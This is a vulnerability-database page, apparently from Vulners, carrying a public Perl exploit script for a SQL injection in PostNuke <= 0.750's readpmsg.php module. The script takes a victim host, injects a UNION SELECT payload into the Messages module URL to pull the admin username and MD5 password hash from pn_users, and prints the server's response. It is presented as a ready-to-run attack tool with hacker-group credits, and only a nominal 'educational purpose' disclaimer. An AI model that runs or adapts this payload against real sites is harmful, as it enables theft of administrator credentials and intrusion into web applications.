Lucene search
K

PostNuke <= 0.750 readpmsg.php SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

PostNuke SQL Injection exploit for readpmsg.php version x=> 0.75

Code

                                                #!/usr/bin/perl
# This tools is only for educational purpose
#
# K-C0d3r a x0n3-h4ck friend !!!
#
# This exploit should give admin nick and md5 password
#
#-=[ PostNuke SQL Injection                     version : x=&#62; 0.750]=-
#-=[                                                               ]=-
#-=[ Discovered by sp3x                                            ]=-
#-=[ Coded by K-C0d3r                                              ]=-
#-=[ irc.xoned.net #x0n3-h4ck to find me   K-c0d3r[at]x0n3-h4ck.org]=-
#
# Greetz to mZ, 2b TUBE, off, rikky, milw0rm, str0ke
#
# !!! NOW IS PUBLIC (6-6-2005) !!!

use IO::Socket;

sub Usage {
print STDERR &#34;Usage: KCpnuke-xpl.pl &#60;www.victim.com&#62; &#60;/path/to/modules.php&#62;\n&#34;;
exit;
}

if (@ARGV &#60; 2)
{
 Usage();
}

if (@ARGV &#62; 2)
{
 Usage();
}

if (@ARGV == 2)
{
$host = @ARGV[0];
$path = @ARGV[1];

print &#34;[K-C0d3r] PostNuke SQL Injection [x0n3-h4ck]\n&#34;;
print &#34;[+] Connecting to $host\n&#34;;

$injection = &#34;$host\/$path?&#34;;
$injection .= &#34;op=modload&name=Messages&file=readpmsg&start=0&#34;;
$injection .= &#34;%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null&#34;;
$injection .= &#34;%20FROM%20pn_users%20WHERE%20pn_uid=2\/*&total_messages=1&#34;;

$socket = new IO::Socket::INET (PeerAddr =&#62; &#34;$host&#34;,
                                PeerPort =&#62; 80,
                                Proto =&#62; &#39;tcp&#39;);
                                die unless $socket;

print &#34;[+] Injecting command ...\n&#34;;
print $socket &#34;GET http://$injection HTTP/1.1\nHost: $host\n\n&#34;;
while (&#60;$socket&#62;)
{
 print $_;
 exit;
}
}

# milw0rm.com [2005-06-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13